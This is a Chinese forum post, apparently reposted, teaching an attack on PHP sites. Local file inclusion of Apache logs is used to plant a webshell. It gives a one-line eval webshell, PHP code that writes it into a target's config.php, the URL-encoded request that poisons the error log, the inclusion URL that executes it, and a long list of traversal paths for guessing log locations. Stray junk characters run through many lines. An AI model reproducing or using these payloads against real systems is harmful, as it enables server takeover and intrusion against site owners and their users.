php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
9 H) A: k4 b( ?) D4 e8 e
7 U8 R9 l  u% J. D4 n# }比如还是这句一句话木马
<?eval($_POST[cmd]);?>   

到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
: }* T& \: W$ u/ h( a  p
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
* j+ y" M8 U9 H* w% Ofclose($fp);?>   //在config.php里写入一句木马语句
# C  c# c& i4 r
: m2 @1 g& b. n% x我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
. I4 ~/ A" \3 e7 M) e/ Q6 {%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
. q2 I2 \+ V+ w9 y* m. d6 @3 ~%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

' J  j- h1 v* K& {7 o这样就错误日志里就记录下了这行写入webshell的代码。
, P# a; a% Q! ]3 D我们再来包含日志，提交
% b) e+ d( S) `6 dhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
7 u' |$ Q" U9 D/ K  b
这样webshell就写入成功了，config.php里就写入一句木马语句
8 f( V9 O( x2 q) K/ c! ZOK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
5 E! J3 i6 M5 c( ]  b直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
, k$ p2 W6 ^  [9 H* s# U
+ M- ~5 v. @/ d% U% I其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
" e& c' \9 z2 t0 \* Z' A../apache/logs/error.log
../apache/logs/access.log
) Z' t/ W, `4 L5 F# b! n../../apache/logs/error.log
../../apache/logs/access.log
( {7 W4 V0 P6 M. u2 ]2 A../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
$ i+ E$ y- W' ]% `  e& J../../../../../../../../../../var/www/logs/access.log
  y- }& Y7 f& d4 \../../../../../../../../../../usr/local/apache/logs/access_log
" ]) A+ P* F; X../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
" ~7 o" |( s, N0 _9 `- S: j2 V3 ~$ R7 d: r../../../../../../../../../../var/log/access_log
$ i/ A% O* F& S../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
# E- s0 ]6 ~* S) k../../../../../../../../../../var/log/apache/error.log
  ^* t0 E9 G- Y: s/ A- M../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
+ L! ?/ Z. ~0 ?0 {/var/log/httpd/error_log     
../apache/logs/error.log     
../apache/logs/access.log
0 h2 p7 a/ Q: c../../apache/logs/error.log
  n" D* ~9 \/ O( N5 f7 b0 \../../apache/logs/access.log
../../../apache/logs/error.log
- B3 \$ H+ v, v& o. J" a% |../../../apache/logs/access.log
7 }2 \: R1 J; _# C/etc/httpd/logs/acces_log
. E3 k- j3 @' J& v2 w" U/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
1 B4 `1 i% b: f4 S9 h/etc/httpd/logs/error.log
/var/www/logs/access_log
. g9 }! s. _) z$ F6 I" c/var/www/logs/access.log
! c8 S2 t! g& E5 Q4 Z+ R! Q/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
' f" J. x: A/ m1 _6 a9 N# \/var/www/logs/error_log
$ U$ x. a0 g+ P& S% h/var/www/logs/error.log
/ h* w- E% D1 n. B1 O' g/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
; J: x& n& E, K/ |9 C* A/var/log/apache/error_log
/var/log/apache/error.log
2 D7 F" I) n9 A7 ]& S/var/log/access_log
% {& x) S0 I4 V7 p/var/log/error_log